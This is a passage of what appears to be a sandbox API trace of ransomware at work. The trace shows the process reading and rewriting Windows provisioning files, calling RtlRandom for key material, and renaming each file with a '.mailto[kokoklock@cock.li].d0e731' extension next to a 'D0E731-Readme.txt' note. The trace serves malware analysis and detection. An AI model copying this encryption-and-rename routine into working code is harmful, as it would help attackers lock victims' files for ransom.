Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x4632e211 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x8edd3b09 [0086.802] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x2e43f938, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e43f938*=0x2c4, lpOverlapped=0x0) returned 1 [0086.802] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e43f900 | out: lpNewFilePointer=0x0) returned 1 [0086.802] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c4, lpNumberOfBytesWritten=0x2e43f934, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e43f934*=0x2c4, lpOverlapped=0x0) returned 1 [0086.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb28 [0086.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb50 [0086.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb50) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e43f930, lpOverlapped=0x0 | out: lpBuffer=0x55ddb28*, lpNumberOfBytesWritten=0x2e43f930*=0x20, lpOverlapped=0x0) returned 1 [0086.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb28) returned 1 [0086.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x55ddb00*, lpNumberOfBytesWritten=0x2e43f95c*=0x8, lpOverlapped=0x0) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e43f974*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x2e43f974*, lpNumberOfBytesWritten=0x2e43f95c*=0x4, lpOverlapped=0x0) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e43f95c*=0x4, lpOverlapped=0x0) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e43f95c*=0x6c, lpOverlapped=0x0) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e43f95c*=0x20, lpOverlapped=0x0) returned 1 [0086.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e43f95c*=0x4, lpOverlapped=0x0) returned 1 [0086.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddad8) returned 1 [0086.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb00) returned 1 [0086.804] CloseHandle (hObject=0x3d0) returned 1 [0086.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x33fc9c8 [0086.804] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" [0086.804] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.804] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.805] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.805] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.805] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.805] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.805] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b63b0) returned 1 [0086.805] RtlExitUserThread (Status=0x1) Thread: id = 1328 os_tid = 0x10b0 [0086.806] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.806] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.807] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e4bfbc0 | out: lpFileSize=0x2e4bfbc0*=718) returned 1 [0086.807] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.807] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e4bfb94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x2e4bfb94*, lpNumberOfBytesRead=0x2e4bfb90*=0x4, lpOverlapped=0x0) returned 1 [0086.808] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddad8 [0086.808] NtQuerySystemTime (in: CurrentTime=0x2e4bfb6c | out: CurrentTime=0x2e4bfb6c*=132121176446954318) returned 0x0 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xa15e2a50 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x786cf4a8 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xa443550 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x6d07278d [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xdc918200 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xfe50ea7c [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x88bfc8 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x93b70d77 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x27d087a9 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x31993e91 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xf3d9b5b4 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x93a6fb38 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xcbb8c6ad [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x88fdcae2 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xd7077281 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xbab897c3 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x379737ce [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x10162237 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x83f5d011 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x909b88e [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x660f0792 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x4c63a34d [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x103f9cd7 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x522fe49f [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x895a7b8b [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x339efb94 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xbf3c77b9 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x5fcbbfde [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x57c0c3a6 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x77d689c1 [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0x32435d3d [0086.809] RtlRandom (in: Seed=0x2e4bfb78 | out: Seed=0x2e4bfb78) returned 0xc52af19e [0086.820] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x2e4bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e4bfb6c*=0x2ce, lpOverlapped=0x0) returned 1 [0086.820] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4bfb34 | out: lpNewFilePointer=0x0) returned 1 [0086.820] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2ce, lpNumberOfBytesWritten=0x2e4bfb68, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e4bfb68*=0x2ce, lpOverlapped=0x0) returned 1 [0086.820] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb50 [0086.820] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb78 [0086.820] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb78) returned 1 [0086.820] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e4bfb64, lpOverlapped=0x0 | out: lpBuffer=0x55ddb50*, lpNumberOfBytesWritten=0x2e4bfb64*=0x20, lpOverlapped=0x0) returned 1 [0086.820] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb50) returned 1 [0086.820] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.820] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.820] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.821] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.821] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x55ddb28*, lpNumberOfBytesWritten=0x2e4bfb90*=0x8, lpOverlapped=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e4bfba8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x2e4bfba8*, lpNumberOfBytesWritten=0x2e4bfb90*=0x4, lpOverlapped=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e4bfb90*=0x4, lpOverlapped=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e4bfb90*=0x6c, lpOverlapped=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e4bfb90*=0x20, lpOverlapped=0x0) returned 1 [0086.821] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e4bfb90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e4bfb90*=0x4, lpOverlapped=0x0) returned 1 [0086.821] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.821] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb00) returned 1 [0086.821] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb28) returned 1 [0086.821] CloseHandle (hObject=0x3d0) returned 1 [0086.821] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.822] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" [0086.822] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.822] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.822] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.822] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.822] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.823] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.823] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8bc8) returned 1 [0086.823] RtlExitUserThread (Status=0x1) Thread: id = 1329 os_tid = 0x10b4 [0086.824] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml")) returned 0x20 [0086.824] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.824] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.824] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e53f850 | out: lpFileSize=0x2e53f850*=710) returned 1 [0086.824] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.824] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e53f824, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x2e53f824*, lpNumberOfBytesRead=0x2e53f820*=0x4, lpOverlapped=0x0) returned 1 [0086.826] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb00 [0086.826] NtQuerySystemTime (in: CurrentTime=0x2e53f7fc | out: CurrentTime=0x2e53f7fc*=132121176447266449) returned 0x0 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x9bb40cf8 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x4e52ba9c [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x904ca7f [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x2ae2264 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xcc790f91 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xc4497367 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xa28586dd [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x548673de [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x6cd38925 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xcdbe80a9 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xc688b51f [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xbb771f4b [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xa5cb1d08 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x35a7cd0 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xed3bcd61 [0086.826] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x81254763 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x70fe4123 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x27ed927f [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xd8fb84e8 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x2bcd93c9 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xc0c48d85 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xf2450c30 